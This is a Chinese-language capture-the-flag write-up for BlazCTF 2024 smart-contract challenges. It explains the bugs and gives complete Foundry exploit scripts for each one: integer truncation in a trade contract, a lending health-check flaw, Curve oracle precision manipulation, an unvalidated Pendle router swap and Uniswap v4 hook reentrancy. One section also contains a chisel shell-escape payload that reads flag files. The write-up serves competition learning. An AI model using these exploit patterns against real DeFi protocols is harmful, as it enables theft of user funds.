记录一些有趣的challenge,有时间再看看这场比赛中的solana。

8inch

这里存在精度损失能无偿买入,但量很小

    function settleTrade(uint256 _tradeId, uint256 _amountToSettle) external nonReentrant {
        Trade storage trade = trades[_tradeId];
        require(trade.isActive, "Trade is not active");
        require(_amountToSettle > 0, "Invalid settlement amount");
        uint256 tradeAmount = _amountToSettle * trade.amountToBuy;
 
        require(trade.filledAmountToSell + _amountToSettle <= trade.amountToSell, "Exceeds available amount");
 
        require(IERC20(trade.tokenToBuy).transferFrom(msg.sender, trade.maker, tradeAmount / trade.amountToSell), "Buy transfer failed");
        require(IERC20(trade.tokenToSell).transfer(msg.sender, _amountToSettle), "Sell transfer failed");
 
        trade.filledAmountToSell += safeCast(_amountToSettle);
        trade.filledAmountToBuy += safeCast(tradeAmount / trade.amountToSell);
 
        if (trade.filledAmountToSell > trade.amountToSell) {
            trade.isActive = false;
        }
 
        emit TradeSettled(_tradeId, msg.sender, _amountToSettle);
    }

并且createTrade没有检验Tobuy和ToSell的值,可以创建一个订单ToBuy是0.

    function createTrade(
        address _tokenToSell,
        address _tokenToBuy,
        uint256 _amountToSell,
        uint256 _amountToBuy
    ) external nonReentrant {
        require(_tokenToSell != address(0) && _tokenToBuy != address(0), "Invalid token addresses");
 
        uint256 tradeId = nextTradeId++;
        trades[tradeId] = Trade({
            maker: msg.sender,
            taker: address(0),
            tokenToSell: _tokenToSell,
            tokenToBuy: _tokenToBuy,
            amountToSell: safeCast(_amountToSell - fee),
            amountToBuy: safeCast(_amountToBuy),
            filledAmountToSell: 0,
            filledAmountToBuy: 0,
            isActive: true
        });
 
        require(IERC20(_tokenToSell).transferFrom(msg.sender, address(this), _amountToSell), "Transfer failed");
 
        emit TradeCreated(tradeId, msg.sender, _tokenToSell, _tokenToBuy, _amountToSell, _amountToBuy);
    }

然后通过扩大一下交易量,这里需要满足originalAmountToSell < newAmountNeededWithFee,可以构造一个值刚好让uint112截断最高位。

    function scaleTrade(uint256 _tradeId , uint256 scale) external nonReentrant {
        require(msg.sender == trades[_tradeId].maker, "Only maker can scale");
        Trade storage trade = trades[_tradeId];
        require(trade.isActive, "Trade is not active");
        require(scale > 0, "Invalid scale");
        require(trade.filledAmountToBuy == 0, "Trade is already filled");
        uint112 originalAmountToSell = trade.amountToSell;
        trade.amountToSell = safeCast(safeMul(trade.amountToSell, scale));
        trade.amountToBuy = safeCast(safeMul(trade.amountToBuy, scale));
        uint256 newAmountNeededWithFee = safeCast(safeMul(originalAmountToSell, scale) + fee);
        if (originalAmountToSell < newAmountNeededWithFee) {
            require(
                IERC20(trade.tokenToSell).transferFrom(msg.sender, address(this), newAmountNeededWithFee - originalAmountToSell),
                "Transfer failed"
            );
        }
    }

QQ_1727683432904.png

exp

pragma solidity 0.8.24;
 
import "forge-std/Script.sol";
import {Vm} from "forge-std/Vm.sol";
import {Test,console2} from "forge-std/Test.sol";
import "src/8Inch.sol";
import "src/exp.sol";
contract Poc is Script {
    Challenge public challenge = Challenge(0x368F8017A2b3Af3416977ba4EB8DD21d60A2538E);
    TradeSettlement public tradeSettlement;
    SimpleERC20 public wojak;
    SimpleERC20 public weth;
    function setUp() public {
        
        tradeSettlement = challenge.tradeSettlement();
        wojak = challenge.wojak();
        weth = challenge.weth();
    }
    function run() public {
        setUp();
        vm.startBroadcast();
        tradeSettlement.settleTrade(0, 9);
        tradeSettlement.settleTrade(0, 9);
        tradeSettlement.settleTrade(0, 9);
        tradeSettlement.settleTrade(0, 9);
        wojak.approve(address(tradeSettlement), 31 wei);
        tradeSettlement.createTrade(address(wojak), address(weth), 31 wei, 0);
        tradeSettlement.scaleTrade(1, 5192296858534827628530496329220066);
        
        uint256 stolen = wojak.balanceOf(address(tradeSettlement));
        tradeSettlement.settleTrade(1, stolen);
 
        wojak.transfer(address(0xc0ffee), 10 ether);
        vm.stopBroadcast();
    }
 
 
}

doju

这里能call到别的函数,调到transfer即可。 QQ_1727684420720.png

chisel

!edit使用的是$EDITOR环境变量指向的编辑器,默认应该是vim,可以通过Setenv设置成bash。 QQ_1727019241447.png

//; cat /flag*
address vm = address(uint160(uint256(keccak256("hevm cheat code"))));
vm.call(abi.encodeWithSignature("setEnv(string,string)", "EDITOR", "bash"));
!edit

tony-lend

漏洞点在于withdraw操作时先判断了healthFactor,然后才修改状态机,导致信用可以低于指定的值。 QQ_1728919062985.png

利用这个漏洞,我们可以无偿borrow,例如这样便能凭空多出1e22的资产。

        Challenge(challenge).claimDust();
        show();
        console.log("after withdraw");
        MintableERC20(usde).approve(tonyLend, 1e22);
        TonyLend(tonyLend).deposit(0, 1e22);
        TonyLend(tonyLend).borrow(0, 1e22);
        TonyLend(tonyLend).withdraw(0, 1e22);
        show();

QQ_1728919634897.png

exp如下

// SPDX-License-Identifier: GPL-3.0
pragma solidity
{ #0}
.8.20;
 
import {Script} from "forge-std/Script.sol";
import {console} from "forge-std/console.sol";
import {console2} from "forge-std/console2.sol";
import "../src/TonyLend.sol";
import {Challenge} from "../src/Challenge.sol";
 
 
contract Solve is Script {
  
    // struct UserAccount {
    //     mapping(uint256 => uint256)  deposited;
    //     mapping(uint256 => uint256) borrowed;
    //     mapping(uint256 => uint256) lastInterestBlock;
    // }
    address challenge = address(0x72F375F23BCDA00078Ac12e7e9E7f6a8CA523e7D);
    address tonyLend = address(Challenge(challenge).tonyLend());
    address usde = address(Challenge(challenge).usde());
    address usdc = address(Challenge(challenge).usdc());
 
    address player = address(0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266);
 
    function run () external {
        vm.startBroadcast(0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80);
 
        Challenge(challenge).claimDust();
        show();
        MintableERC20(usde).approve(tonyLend, 1e22);
        TonyLend(tonyLend).deposit(0, 1e22);
        MintableERC20(usdc).approve(tonyLend, 1e10);
        TonyLend(tonyLend).deposit(1, 1e10);
        TonyLend(tonyLend).borrow(0, 2e22);
        // showUserAsset() ;
        // uint256 helathFactor = TonyLend(tonyLend).calculateHealthFactor(player);
        // console.log("healthFactor", helathFactor);
        TonyLend(tonyLend).withdraw(0, 1e22);
        show();
        MintableERC20(usde).transfer(address(0xc0ffee), 2.1926e22);
        console.log("isSolved?", Challenge(challenge).isSolved());
    }
 
    // function showUserAsset() internal{
    //     console.log("mine deposit usde", TonyLend(tonyLend).getUserDeposited(player, 0));
    //     console.log("mine deposit usdc", TonyLend(tonyLend).getUserDeposited(player, 1));
    //     console.log("mine borrow usde", TonyLend(tonyLend).getUserBorrowed(player, 0));
    //     console.log("mine borrow usdc", TonyLend(tonyLend).getUserBorrowed(player, 1));
    // }
    function show() internal {
        console.log("USDE", MintableERC20(usde).balanceOf(player));
        console.log("USDC", MintableERC20(usdc).balanceOf(player));
    }
 
 
}

tony-lend2

把withdraw和repay都去掉了,需要去寻找CurvePool的安全问题。 QQ_1729150186643.png

问题其实在于# StableSwap-NG Oracles,bug在于更新预言机的时候直接使用了self.upkeep_oracles(new_balances, amp, D1),并没有统一精度,则可能导致价格预言机急剧变化。例如这个场景中USDe 的精度为 18,而 USDC 的精度为 6。 正常的代码应该是self.upkeep_oracles(self._xp_mem(rates, new_balances), amp, D1)

remove_liquidity_imbalance中,正好使用了漏洞代码,这个函数的作用可以参考官方文档Curve Plain Pools,在代码方面主要做了这么几件事。

  • 首先获取了放大系数amp(参考Curve v1白皮书),每个代币的精度,不变量D,每个代币的总余额(除去admin的)。
  • 调用_transfer_out将要提取的代币资产转出给调用者
  • 在接下来的for循环中主要是为了计算费用,在Curve中这个费用被设计为动态费用,需要实时计算,然后从总余额中扣除。
  • 最后更新预言机价格,D值,total_supply QQ_1729150437246.png

在 upkeep_oracles中会调用_get_p计算当前现货价格,在题目场景中则是 USDC 相对于 USDe的价格,而计算出来的结果会被打包进last_prices_packed中,这个变量包含了两个数据: last_price (该代币的最新价格)和 ma_price(EMA price)。而如果没有统一精度则会导致这里的_get_p计算结果偏大,因为在这xp[0]即是精度为18位的USDE的balance,xp[1]是精度为6位的USDC,进行相除之后的结果会明显膨胀,导致最终预言机中存储的现货价格也会膨胀。

QQ_1729151251073.png

所以现在我们可以利用这个漏洞可以操纵预言机价格,回到tonyLend中,发现usdc使用的Curve 预言机获取的价格(price_oracle函数)

QQ_1729152083435.png

price_oracle用于计算usdc相对于usde的EMA价格,其中使用到了last_spot_value即为上述计算中偏大的价格,如果block.timestamp大于上次更新ema价格的时间戳(注意ema在每个区块只更新一次),则会再次更新ema价格,在这里则会导致外部tonyLend合约获取的预言机价格急剧增大。 QQ_1729147589283.png

所以这给了可以操纵calculateHealthFactor结果的攻击面,在i=1的时候,则在计算usdc的资产价格,从预言机获取的价格会偏大,而合约在部署的时候进行了tonyLend.borrow(1, 1.85e4 * 1e6);操作,导致可以让这里的borrowedInEth偏大,从而让结果偏小,从而降低仓位的健康度。这会导致仓位抵押不足,从而导致清算。

QQ_1729153018718.png

简单测试一下,同比正常的价格,预言机价格明显多了快50%,并且健康因子从初始化的1.081e18左右降低到了0.9197e18左右,明显低于MIN_HEALTH_FACTOR==1.05e18QQ_1729153638010.png

如下在初始化时,challange借走了usdc资产。

// deposit
tonyLend.deposit(0, 1e4 ether);
tonyLend.deposit(1, 1e4 * 1e6);
// borrow
tonyLend.borrow(1, 1.85e4 * 1e6);

liquidate清算中,_assetId表示需要借款人借走的资产,_collateralAssetId表示借款人需要用来清算债务的资产。此时可以直接清算challenge的usdc债务,由于两者价格差距过大,会导致toLiquidate较小,collateralAmount巨大,这里能直接将challenge所有的usde全部转出来,最后再拿usdc借点usde即可,或者直接在池子里换。

QQ_1729155230696.png

本地测试了下需要加--skip-simulation 跳过模拟,不然价格没有变化不知道有什么毛病。

// SPDX-License-Identifier: GPL-3.0
pragma solidity
{ #0}
.8.20;
 
 
import {Script} from "forge-std/Script.sol";
import {console} from "forge-std/console.sol";
import {console2} from "forge-std/console2.sol";
import "../src/TonyLend.sol";
import {Challenge} from "../src/Challenge.sol";
 
 
interface ICurve1 {
    function get_dy(int128 i, int128 j, uint256 dx) external view returns (uint256);
        function get_dx(int128 i, int128 j, uint256 dx) external view returns (uint256);
        function get_balances() external view returns (uint256[] memory);
    function add_liquidity(
        uint256[] calldata amounts,
        uint256 min_mint_amount
    ) external returns (uint256);
 
    function remove_liquidity_imbalance(
        uint256[] calldata amounts,
        uint256 max_burn_amount
    ) external returns (uint256);
    function get_p(uint256 i) external view returns (uint256);
    function price_oracle(uint256 idx) external view returns (uint256);
    function last_price(uint256 idx) external view returns (uint256);
 
    function exchange(
        int128 i,
        int128 j,
        uint256 dx,
        uint256 min_dy
    ) external returns (uint256);
}
contract Attack is Script {
    
    address player = address(0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266);
    // address helper = address(0xe24C5c44a7c4E75d5E2e461C35d863db0385E3c9);
    Challenge challenge = Challenge(address(0x2572e04Caf46ba8692Bd6B4CBDc46DAA3cA9647E));
    TonyLend tonyLend = challenge.tonyLend();
    address curvePool = address(challenge.curvePool());
    ERC20 usde = challenge.usde();
    ERC20 usdc = challenge.usdc();
  
    function run () external {
 
        console.log("USDE", address(usde));
        console.log("USDC", address(usdc));
 
        vm.startBroadcast(0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80);
 
        usde.approve(address(curvePool), type(uint256).max);
        usdc.approve(address(curvePool), type(uint256).max);
        usde.approve(address(tonyLend), type(uint256).max);
        usdc.approve(address(tonyLend), type(uint256).max);
        
        // 1. Claim some usdc and usde token
        challenge.claimDust();
        show();
 
        uint256 healthCalcuator =tonyLend.calculateHealthFactor(address(challenge));
        console.log("healthCalcuator", healthCalcuator);
 
        uint256[] memory amounts = new uint256[](2);
        amounts[0] = 1e22 ;
        amounts[1] = 1e6 ;
        uint256 LPamount = ICurve(curvePool).add_liquidity(amounts, 0);
        uint256 EMAprice = ICurve1(curvePool).price_oracle(0);
        console.log("EMAprice", EMAprice);
        // 2. remove liquidity to the pool
        amounts[ 0 ] = 1e22  * 0.9; 
        amounts[ 1 ] = 1e6 * 0.9; 
        ICurve1(curvePool).remove_liquidity_imbalance(amounts, type (uint256).max); 
 
        vm.warp(block.timestamp + 8 minutes);
        console.log("---------after 8 minutes-------");
        EMAprice = ICurve1(curvePool).price_oracle(0);
        uint256 price = ICurve1(curvePool).get_p(0);
        console.log("price : calculate Price by get_p", price);
        console.log("EMAprice : calculate Price by price_oracle ", EMAprice);
 
        healthCalcuator =tonyLend.calculateHealthFactor(address(challenge));
        console.log("healthCalcuator", healthCalcuator );
 
        uint256 usdcprice = tonyLend.getAssetPrice(1);
        console.log("USDC price", usdcprice);
        uint256 usdeprice = tonyLend.getAssetPrice(0);
        console.log("USDE price", usdeprice);
        
          // 4. 清算挑战的头寸
        tonyLend.liquidate(address(challenge), 1 , 1e22, 0 );
 
        // 5. 存入 USDC 并借出一些 USDe
        tonyLend.deposit(1, usdc.balanceOf(address(player)));
        tonyLend.borrow(0, 2926e18);
 
        show();
        usde.transfer(address( 0xc0ffee ), 21926e18 ); 
        require(challenge.isSolved(), "challenge is still not solved" ); 
        vm.stopBroadcast(); 
 
    }
    function show() internal{
        console.log("USDE",usde.balanceOf(player));
        console.log("USDC", usdc.balanceOf(player));
    }
}

QQ_1729168907967.png

Oh Fuck pendle

借用了真实攻击的思路 https://threesigma.xyz/blog/penpie-exploit

challenge将1337个ether代币转给了0x00000000005BBB0EF59571E58418F9a4357b68A0。查看代码,是一个Pendle Router合约,问题出在_swapTokenInput没有检验inp.pendleSwap是否合法,这就像真实攻击中的漏洞,接受了所有 Pendle 市场/掉期作为有效池。在伪造的pendleSwap中可以将inp.tokenMintSy设置为需要获取的token代币,最后通过_transferOut转账。 QQ_1729254551369.png

exp

IRouter router = IRouter(0x00000000005BBB0EF59571E58418F9a4357b68A0);
PendleSwap pendleSwap = new PendleSwap();
TokenInput memory input = TokenInput(
	address(0),
	1 ether,
	address(challenge.token()),
	address(pendleSwap),
	SwapData(SwapType.NONE, address(0), new bytes(0), false)
);
router.swapTokenToToken{value: 1 ether}(challenge.PLAYER(), 1 ether, input);
require(challenge.isSolved(), "Not solved");

tutori4l

合约部署了一个univ4的池子,并且hook会在beforeSwapafterSwap生效,漏洞点在于beforeSwap会调用first_reward来获取奖励,这里存在重入攻击,虽然有in_swap保护,但这是函数锁,在beforeSwap已经打开。 QQ_1729250758540.png

要进入first_reward需要满足has_reward[id],这需要调用set_reward并且付费1eth。 QQ_1729251138476.png

在challenge中给了arbitrary函数能帮我们完成set_reward的调用。 QQ_1729251173193.png

用于进行重入的辅助合约,

// SPDX-License-Identifier: MIT
pragma solidity
{ #0}
.8.20;
 
import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {CurrencyLibrary, Currency} from "v4-core/src/types/Currency.sol";
import {Hooks} from "v4-core/src/libraries/Hooks.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {ERC20} from "../src/ERC20.sol";
import {Hook} from "../src/Hook.sol";
import {HookMiner} from "../src/HookMiner.sol";
import {IUnlockCallback} from "@uniswap/v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
 
contract exp {
 
    PoolManager public poolmanager;
    Hook public hook;
    bool flag = true;
    address public token;
    uint160 public constant MIN_PRICE_LIMIT = TickMath.MIN_SQRT_PRICE + 1;
    uint160 public constant MAX_PRICE_LIMIT = TickMath.MAX_SQRT_PRICE - 1;
    constructor(address poolM,address h,address t1) {
        poolmanager = PoolManager(poolM);
        hook = Hook(h);
        token = t1;
    }
    function attack() public{
        IPoolManager(poolmanager).unlock(
            abi.encode("")
        );
    }
 
    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        PoolKey memory poolKey = PoolKey({
            currency0: Currency.wrap(address(0)),
            currency1: Currency.wrap(token),
            fee: 0,
            tickSpacing: 10,
            hooks: hook
        });
 
        bool zeroForOne = true;
        bytes memory hookData = abi.encode(address(this));
        // Swap exactly 1e18 of token0 into token1
        poolmanager.swap(
            poolKey,
            IPoolManager.SwapParams({
                zeroForOne: zeroForOne,
                amountSpecified: -2 ether,
                sqrtPriceLimitX96: zeroForOne ? MIN_PRICE_LIMIT : MAX_PRICE_LIMIT // unlimited impact
            }),
            hookData
        );
        return hookData;
    }
    receive() external payable {
        if (flag) {
            flag  = false;
            address(0xc0ffee).call{value: address(this).balance}("");
            IPoolManager.SwapParams memory params = IPoolManager.SwapParams({
                zeroForOne: true,
                amountSpecified: -1001 ether,
                sqrtPriceLimitX96: true ? MIN_PRICE_LIMIT : MAX_PRICE_LIMIT
            });
 
            bytes memory data = abi.encode(address(this));
            Hook(hook).first_reward(params, data);
        }
        address(0xc0ffee).call{value: address(this).balance}("");
    }
 
}

forge本地测试,最后把获取到的1ether都转入了0xc0ffee地址。

pragma solidity
{ #0}
.8.20;
 
 
import {Script} from "forge-std/Script.sol";
import {console} from "forge-std/console.sol";
import {console2} from "forge-std/console2.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {Challenge} from "../src/challenge.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {CurrencyLibrary, Currency} from "v4-core/src/types/Currency.sol";
import {Hook} from "../src/Hook.sol";
import {exp} from "../src/exp.sol";
contract Attack is Script {
    
    address player = address(0x70997970C51812dc3A010C7d01b50e0d17dc79C8);
    Challenge  challenge = Challenge(payable(address(0x610178dA211FEF7D417bC0e6FeD39F05609AD788)));
    PoolManager manager = PoolManager(address(challenge.manager()));
    address token = address(challenge.token());
    Hook hook = challenge.hook();
 
    function run () external {
 
        vm.startBroadcast(0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d);
 
        challenge.arbitrary(address(hook), abi.encodeWithSignature("set_reward()"));
        PoolKey memory pool = PoolKey({
            currency0: Currency.wrap(address(0)),
            currency1: Currency.wrap(token),
            fee: 0,
            tickSpacing: 10,
            hooks: challenge.hook()
        });
        PoolId lucky_pool = PoolIdLibrary.toId(pool);
        bool has_reward = hook.has_reward(lucky_pool);
        console.log("has_reward ", has_reward);
 
        exp e = exp(payable(address(0xB7f8BC63BbcaD18155201308C8f3540b07f84F5e)));
        e.attack();
 
        console.log("0xc0ffee balance ", address(0xc0ffee).balance);
        vm.stopBroadcast(); 
 
    }
}

https://ambergroup.medium.com/blazctf-2024-writeup-4c097868db26